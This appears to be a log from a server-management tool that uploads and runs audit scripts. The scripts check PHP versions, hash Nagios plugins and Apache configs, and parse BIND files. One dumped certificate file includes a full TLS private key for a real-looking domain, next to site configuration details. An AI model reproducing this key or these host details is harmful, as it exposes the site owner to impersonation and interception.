	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-10-03 15:00:51: 

chmod 755 /tmp/pkp533129; /tmp/pkp533129; rm /tmp/pkp533129

2025-10-03 15:00:52: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.26


2025-10-03 15:00:52: 

PUT: /tmp/pkp303493

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-10-03 15:00:52: 

chmod 755 /tmp/pkp303493; /tmp/pkp303493; rm /tmp/pkp303493

2025-10-03 15:00:53: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2025-10-03 15:00:53: 

PUT: /tmp/pkp648223

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-10-03 15:00:53: 

chmod 755 /tmp/pkp648223; /tmp/pkp648223; rm /tmp/pkp648223

2025-10-03 15:00:53: 


status=ok


2025-10-03 15:00:53: 

PUT: /tmp/pkp957066

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-03 15:00:54: 

chmod 755 /tmp/pkp957066; /tmp/pkp957066; rm /tmp/pkp957066

2025-10-03 15:00:54: 
2025-10-03 15:00:54: 

PUT: /tmp/pkp595238

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
    show_file('/etc/apache2/sites-available/theyoungdesigners_stage.conf')
    show_file('/etc/apache2/sites-available/pjy_alive_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-03 15:00:54: 

chmod 755 /tmp/pkp595238; /tmp/pkp595238; rm /tmp/pkp595238

2025-10-03 15:00:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5344
2c:1c:d9:0e:ff:26:70:65:c0:96:6b:db:fd:d2:a5:8e

-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBdmqjnn4RzZE5xdPxsKMhlaeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzNDU4WhcNMjUxMTIwMTAzNDU3WjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDR38C2D8pN
cOGf4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6A
prVeYhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLr
Xs7riGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw
6nlZSINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNx
gWo0eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhS
PXNePkmCLUwtAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKMz
TuhAcQcBG3MTBcu9viDdhe7OMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzMxLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AA3h8jAr0w3BQGIS
CepVLvxHdHyx1+kw7w5CHrR+Tqo0AAABmNGOHNMAAAQDAEcwRQIhANYLmh74t6Wk
dz2dLTN5jKXUBZ8FszaO22mOVvzbbqG8AiB72iTREsxRqcxcrNP9wVJu76hM3Q/+
TrXKJVmnU9BD7wB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mNGOHPAAAAQDAEgwRgIhAPGltw8ObOufb/mBkfyqUS+crsD0Z+uiL6S4gfEJqPEw
AiEA5mR9InW03xbl6cu+xOsa/evOm8hdJIZ6CF8Px07kiw4wDQYJKoZIhvcNAQEL
BQADggEBAGPU/oqHCGs3/8Qh1NdHxUkF+ufLeQbpQrvblbr9UcecJQHvHcqR4M+g
LmTnCpGsp3WOpYauH7kCesKucOTuZz7cgxlItsnR2WmIPlILLceR7vyUIdKYvLCi
c2Z/w6JkCYJa5IqnI37ogwE42EO3g8EPDG6Dz/bJBDBlaot2m7dM4bEoALWhQvD9
6ZHpcsICUXkUuWAgedNfeiTcg1FJ4JUbq9Boqto1l1Dh1uMOhy3jaWQ9CJ41YafQ
vfBlTj65EfPXgM8QZQquAx5Q5ZZo46ioiFgEC6J/O/3aSA4AynReE4wAWRpjTV9H
gocjnuxr+f7czyQl9RmcPf8MZuLh3gs=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDR38C2D8pNcOGf
4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6AprVe
Yhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLrXs7r
iGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw6nlZ
SINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNxgWo0
eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhSPXNe
PkmCLUwtAgMBAAECggEAPgRmh+Ymm7etlHa26IdC1ghSvSVkOUIW6fe3OMlzjg5F
MgxAr3l+y86X3rJwyw9E5SIXJwgiybV5hshrS+oSNYZ+3/lApCvoViW4hEe7YzuA
DaOqpv1Dx7PkWREm4xNMTMCVRGuR1OeRMZx+ilYh1gMtsw5XU6n+V0RbFIEkUX9Q
8N2kylPbM4Bkr/SFTKHEhp3e6l8eZDu5Hc0CSkpFYif6IGzh43HLtZT+DK3ZjHyR
oEHUmb3hFPiPUQyeN8L026t9MQWiV9HjCrldvnD5/gKwJBq9tVLT0pp1Zj7UkED3
Ls9pd27tKloXIFxrEGiZzNGWUG3crxyVocNMoZEYaQKBgQD3rmpQ8rtnwXbALeod
3CzG2tezmSO/uQDrgoQN34QMeGlOJWgOHlFAOqVKrB+pz0MbBepTAeWgcNwotvyH
8jdFGI6ZglHauc/GKoHX6HkaTL5xwWpwE4z5Ecm0QlJjkCeqea+UWfAczP7zWanO
WDZU76152y/EBtvHGtr5HyI+iwKBgQDY7ERxGPF5t++xqhcFv/hdw2+dIeS4VYqS
E0hUtKSIzGQ8/8yWKJgEwDF6/AlKbwpYZwA/cj0fau8ZG9cArsvyd761JkpWXQ+k
qlcDGnqa1Z1uEY6Sdonzd5T8myJIW0qHOvqgT13w27JdXQIU9Fx88fSdMLfGvYZA
3fxOVvbvJwKBgQClNs7sWD3yI/bWksoMSQYFT41627gg94NJlbIInwQyXU/BNOqI
IGkKcxQ3D0G/v+V/bR61aBqIP0BcWFNzS3rauFrGw0ten3udMFWUdBn0FSUkNGSP
hjsPGXJ2r5bNmycabDlWt/eW/pdCNJk0b1supQIOusrN89U+pwdSDhaFqQKBgQCt
SOhPtI5KHp6SvX5QsI72UAYcbxPoESV2FYNFb1y0jxpQBEPpfBocSW/9f9LoLBYG
kpmHFXowW9sOose5Gul/Exs8WI8vuH2jnBOQPhnNEHIHmGzdIWaIIHHa7Q6Q4KSD
rKDDaUNxAf/VR1Q/awlrIlm3LFDSqVnS/cHsztnKJwKBgQDGuC44DdKYkMqD5Snv
MJaApWehkKUoOcGJPK6Y1dlzZBcyZG17i6sTJIDFd716ZtWVnfmDPEn/qMAEtXvp
WAGpdLYDNf1tIubpxchtmWqLgj7QxWCSAOWiXMR59YkTszVekhnv+famdac2XnBP
NozHPQRhmDJk7DdPb5zzcQxHeg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_stage.conf	551

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Require all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf	1149

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 87140a5512892b83a3199aea7cde1917
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 8b7f17eabcd7c967c5aef4ea27a85943
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 24354e5a9e87bc06d7655e410b84a785
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 20ebcb6394b5828a3297798e46e87e57
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 87140a5512892b83a3199aea7cde1917
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp957066:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-10-03 15:01:06: Establishing a connection
2025-10-03 15:01:06: 

PUT: /tmp/pkp236570

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-03 15:01:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp236570; rm /tmp/pkp236570'

